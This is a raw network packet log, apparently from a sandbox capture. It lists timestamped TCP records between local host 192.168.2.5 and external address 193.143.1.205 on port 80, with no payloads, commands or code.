Jan 10, 2025 21:48:35.197820902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.197839975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.197858095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.197870016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.197880983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.197896957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.197926998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.198067904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.203330994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.227838993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.227885962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.227897882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.227910042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.227910995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.227926016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.227937937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.227945089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.228101969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.228178024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228189945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228207111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228250027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.228250980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.228429079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228441954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228452921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228462934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228473902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228477001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.228646994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.228975058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.228993893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229008913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229020119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229027033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.229031086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229063034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229069948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.229074955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229083061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.229085922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229098082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.229124069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.229320049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.229793072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.236498117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.258287907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258328915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258346081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258358002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258363008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258373976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258385897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258384943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.258397102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258416891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.258450031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.258739948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258752108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258761883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258794069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.258951902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258963108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258972883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.258972883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.258992910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.258992910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.259004116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.259018898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.259036064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.259037971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.259047985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.259058952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.259059906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.259071112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.259088993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.259114027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260041952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260054111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260063887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260073900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260082960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260092974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260102987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260108948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260113955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260129929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260153055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260618925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260636091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260653019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260663986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260674953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260680914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260696888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260708094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260715008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260718107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260729074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260740042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.260749102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260776997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.260776997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.261678934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261703014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261714935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261725903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261735916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261745930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261754990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.261758089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261768103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261775017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.261780024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261790037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.261809111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.261837959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.262590885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262605906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262623072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262633085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262640953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.262644053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262655020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262661934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.262666941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262676001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262687922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262697935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.262702942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.262732983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.262732983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.263627052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263643026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263653994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263664007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263672113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.263675928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263686895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263698101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.263699055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263711929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263721943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263731956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.263736010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.263780117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.263780117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.264518976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264539003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264549971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264559984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264570951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264570951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.264580965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264588118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.264591932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264601946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264611959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.264612913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264633894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.264652967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.264709949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.265414953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.265436888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.265738964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.267529964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.277338982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.284533024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.284559965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.284574032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.284584045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.284595966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.284607887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.284620047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.284621000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.284651041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328373909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328399897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328413010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328418016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328424931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328434944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328445911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328444958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328457117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328469038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328473091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328485966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328496933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328509092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328516960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328520060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328527927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328530073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328547001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328557968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328568935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328568935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328579903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328589916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328591108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328598976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328600883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328613997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328623056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328627110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328634977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328644991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328658104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328682899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328682899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328692913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328704119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.328713894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.328805923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345010996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345024109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345139027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345143080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345149994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345170975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345186949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345194101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345199108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345210075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345221043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345231056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345242023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345252991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345269918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345276117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345276117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345280886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345292091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345313072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345350981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345556974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345567942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345578909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345590115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345593929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345601082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345612049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345623970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345628977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345635891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345654011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345762014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345812082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345822096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345834017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345849037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345859051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345870972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345879078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345892906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345892906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345928907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345941067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345951080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345959902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345971107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345980883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.345982075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.345990896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346036911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346036911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346261024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346271038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346282005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346321106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346332073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346343994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346343994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346347094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346357107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346368074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346384048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346400976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346409082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346411943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346422911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346425056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346434116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346442938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346443892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346463919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346611023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346796036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346807003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346817017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346853971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346870899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346880913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346892118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346904993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346927881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346934080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346952915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346952915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346970081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346971989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.346981049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.346991062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.347002029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.347007990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.347012997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.347054958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.347055912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.350152016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350164890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350176096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350187063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350205898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350215912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350227118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350239038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350251913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350260973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350270987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350281954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350300074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350311995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.350814104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.371097088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.371129990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.371140003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.371156931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.371169090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.371179104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.371190071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.371232033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.371445894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.374988079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.375005007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.375016928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.375027895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.375044107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.375094891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401308060 CET	80	49704	193.143.1.205	192.168.2.5
